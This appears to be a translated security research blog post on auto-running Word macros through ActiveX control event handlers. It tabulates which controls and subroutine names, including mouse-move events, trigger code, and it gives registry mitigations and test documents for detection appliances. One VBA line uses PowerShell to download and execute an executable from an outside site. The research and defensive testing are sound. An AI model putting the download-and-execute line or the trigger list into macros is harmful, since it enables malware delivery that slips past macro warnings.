通过 ActiveX 控件运行宏

通过 ActiveX 控件运行宏

几个月前,我遇到了一个恶意的宏 Word 文档,经过分析,发现它正在使用一个新的方法来执行宏。我不确定以前是否使用过这种方法,但它使用的是在文档中嵌入 ActiveX 控件对象的宏。

大多数恶意 Word 文档使用常用的保留名称,例如 AutoOpen()Document_Open() 来自动运行宏。该文档使用名为 InkPicture1_Painted() 的子程序在启用 ActiveX 控件后执行代码。该例程来自嵌入在文档中的 ActiveX 控件 Microsoft InkPicture Control

1 恶意使用 ActiveX 控件

在文档中嵌入 ActiveX 控件非常简单,启用开发人员选项卡 (文件 -> 选项 -> 自定义功能区) 后,转到功能区上的开发人员选项卡和控件部分,给出了一个控件列表,可用于嵌入到文档中,如下图所示:

图片[1]-通过 ActiveX 控件运行宏

每个控件都提供了向其程序添加宏的选项

图片[2]-通过 ActiveX 控件运行宏

可以在下面看到有几十个程序可以使用

图片[3]-通过 ActiveX 控件运行宏

在测试了每个 ActiveX 控件对象及其所有程序之后,大量程序能够自动运行宏。并非所有控件都可以嵌入到文档中,但大多数可以嵌入,如下表中所示:

ActiveX 控件子程序名称
Microsoft Forms 2.0 FrameFrame1_Layout
Microsoft Forms 2.0 MultiPageMultiPage1_Layout
Microsoft ImageComboBox Control, version 6.0MultiPage1_Layout
Microsoft InkEdit ControlInkEdit1_GotFocus
Microsoft InkPicture ControlInkPicture1_Painted
InkPicture1_Painting
InkPicture1_Resize
System Monitor ControlSystemMonitor1_GotFocus
SystemMonitor1_LostFocus
Microsoft Web BrowserWebBrowser1_BeforeNavigate2
WebBrowser1_BeforeScriptExecute
WebBrowser1_DocumentComplete
WebBrowser1_DownloadBegin
WebBrowser1_DownloadComplete
WebBrowser1_FileDownload
WebBrowser1_NavigateComplete2
WebBrowser1_NavigateError
WebBrowser1_ProgressChange
WebBrowser1_PropertyChange
WebBrowser1_SetSecureLockIcon
WebBrowser1_StatusTextChange
WebBrowser1_TitleChange

当与这些子例程名称一起使用时,下面列出的控件有一个有趣的行为,即在嵌入对象的顶部移动鼠标会触发宏:

ActiveX 控件子程序名称
Microsoft Forms 2.0 FrameFrame1_MouseMove
Microsoft Forms 2.0 MultiPageMultiPage1_MouseMove
Microsoft Forms 2.0 MultiPageInkEdit1_MouseMove
Microsoft InkPicture ControlInkPicture1_MouseMove
InkPicture1_MouseHover
InkPicture1_MouseEnter
InkPicture1_MouseLeave
Microsoft Forms 2.0 CheckBoxCheckBox1_MouseMove
Microsoft Forms 2.0 ComboBoxComboBox1_MouseMove
Microsoft Forms 2.0 CommandButtonComboBox1_MouseMove
Microsoft Forms 2.0 ImageImage1_MouseMove
Microsoft Forms 2.0 LabelLabel1_MouseMove
Microsoft Forms 2.0 ListBoxListBox1_MouseMove
Microsoft Forms 2.0 OptionButtonOptionButton1_MouseMove
Microsoft Forms 2.0 TabStripTabStrip1_MouseMove
Microsoft Forms 2.0 TextBoxTextBox1_MouseMove
Microsoft Forms 2.0 Toggle ButtonToggleButton1_MouseMove
Microsoft ListView Control, version 6.0ListView41_MouseMove
Microsoft ProgressBar Control, version 6.0ListView41_MouseMove
Microsoft Slider Control, version 6.0Slider21_MouseMove
Microsoft StatusBar Control, version 6.0StatusBar31_MouseMove
Microsoft TabStrip Control, version 6.0TabStrip31_MouseMove
Microsoft TabStrip Control, version 6.0Toolbar31_MouseMove
Microsoft TabStrip Control, version 6.0TreeView41_MouseMove
MSREdit ClassAMSREdit1_MouseMove

还有更多没有列出的 ActiveX 控件,因为它们需要一些进一步的操作,即单击嵌入的对象以触发宏。测试主要在 Windows 7 上使用 Microsoft Office 2010 x64 的 Word 和 Excel 进行。

2 用户感知

用户本应该知道宏是危险的,因此,收到它们也会给出两个警告提示。第一个是从 Internet 接收文档时通常的 “受保护视图” 警告:

图片[4]-通过 ActiveX 控件运行宏

启用编辑后,通常会出现宏提示,此时我们希望用户在点击前三思:

图片[5]-通过 ActiveX 控件运行宏

对于与 ActiveX 控件一起使用的宏,我们看不到通常的宏警告提示,而是一个 ActiveX 提示:

图片[6]-通过 ActiveX 控件运行宏

3 缓解措施

如果需要,Microsoft Office 中有一些设置可以完全禁用 ActiveX 控件:

图片[7]-通过 ActiveX 控件运行宏

使用注册表设置:

Disable all controls without notification

[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000001

Prompt me before enabling UFI controls

[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000004  (3 if Safe mode unticked)

Prompt me before enabling all controls with minimal restrictions

[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000006  (5 if Safe mode unticked)

Enable all controls without restrictions and without prompting

[HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Security]
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000002  (1 if Safe mode unticked)

4 测试威胁检测设备

可以下载此 zip 文件 (密码为 “macros”),其中包含三个文档,可用于测试设备以查看它们的得分情况:

  • document_open_messbox.docm:使用普通的保留名称 Document_Open 来自动运行宏;
  • inkedit1_gotfocus_messbox.docm:使用 ActiveX “Microsoft InkEdit Control” 自动运行宏;
  • inkedit1_mousemove_messbox.docm:使用 ActiveX “Microsoft InkEdit Control” 通过鼠标在页面上移动来运行宏;

文档中包含的宏使用 Powershell 从我的站点下载并执行 messbox.exe,因此应将所有三个文档都标记为恶意文档。

run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'",vbNormalFocus)

知道哪些设备将哪些文档标记为恶意文件会很有趣,所以请发推文或添加评论,谢谢大家。

© 版权声明
THE END
喜欢就支持一下吧
点赞10赞赏 分享
评论 抢沙发

请登录后发表评论